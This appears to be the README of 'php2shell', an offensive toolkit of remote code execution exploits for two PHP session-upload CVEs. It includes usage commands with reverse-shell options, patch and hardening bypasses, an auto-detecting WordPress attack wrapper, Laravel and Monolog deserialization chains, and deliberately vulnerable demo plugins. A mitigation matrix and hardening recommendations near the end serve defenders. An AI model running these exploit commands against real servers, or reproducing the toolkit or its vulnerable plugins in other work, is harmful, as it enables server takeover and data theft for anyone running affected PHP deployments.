php2shell/README.md

# php2shell — CVE-2026-109618 & CVE-2026-109619

Remote Code Execution exploits for two critical PHP vulnerabilities in the
multipart parser and session upload progress handler. Includes three bypass
exploits that defeat the official security patch and all recommended mitigations.

**No external dependencies** — pure Python 3 stdlib.

## Vulnerabilities

**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
disk with attacker-controlled PHP code. LFI includes it for RCE.

**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
data verbatim into the session file. With `cleanup=0`, or via race condition
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.

**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.

## Exploits

| Script | Target | Description |
|--------|--------|-------------|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |

## Prerequisites

- Python 3.8+
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
- A Local File Inclusion vector in the target application
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)

## Usage

```bash
# CVE-2026-109618: OOM exploit
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
# Use --no-chunked when nginx has fastcgi_request_buffering off
# Use --fields / --field-size to tune OOM threshold for target memory_limit

# CVE-2026-109619: Session poisoning (direct or race)
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race

# WordPress (auto-detects LFI parameter)
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'

# Patch bypass: race condition on PHP 8.4.27+
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'

# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'

# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
```

All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection.

## Session Deserialization (No LFI)

`session-deser/exploit.py` exploits `session.serialize_handler` mismatches
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize`
(Laravel, Symfony default) and another uses the `php` handler (PHP default),
the pipe character in session data triggers arbitrary deserialization.

Requires a deployment where two endpoints share session storage but use
different handlers. This occurs when a framework application coexists with
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).

Built-in POP chains for current library versions:

| Chain | Library | Tested version |
|---|---|---|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) |
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) |

Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
via `--chain-file`. See `session-deser/README.md` for details.

```bash
python3 session-deser/exploit.py \
    --inject-url http://target/laravel-endpoint.php \
    --trigger-url http://target/legacy-script.php \
    --chain laravel10-cmd --cmd 'id'
```

## Patch Bypass Findings

The PHP 8.4.27 patch has three confirmed bypass paths to RCE:

**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
request includes the file during the upload window. Inherent to the feature design.

**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
path. Worker exits code 1 (not the patched code 70), session persists.

**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
poisoning needed. **Bypasses every recommended mitigation.**

### Mitigation Matrix

| Mitigation | Race | RLIMIT | /proc/fd |
|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** |
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
| Fix the LFI | OK | OK | OK |

### Recommendations

1. Set `session.upload_progress.enabled=0` in php.ini
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
3. Fix any LFI vulnerabilities in applications
4. Set `open_basedir` to restrict filesystem access

## WordPress

The WordPress exploit requires a plugin that calls `session_start()` and has an
LFI vector. Two demo plugins are included:

- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
  template preview, log viewer, and session-based features

Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`

## Disclaimer

For authorized security testing and research only. Obtain proper authorization
before testing against any system you do not own.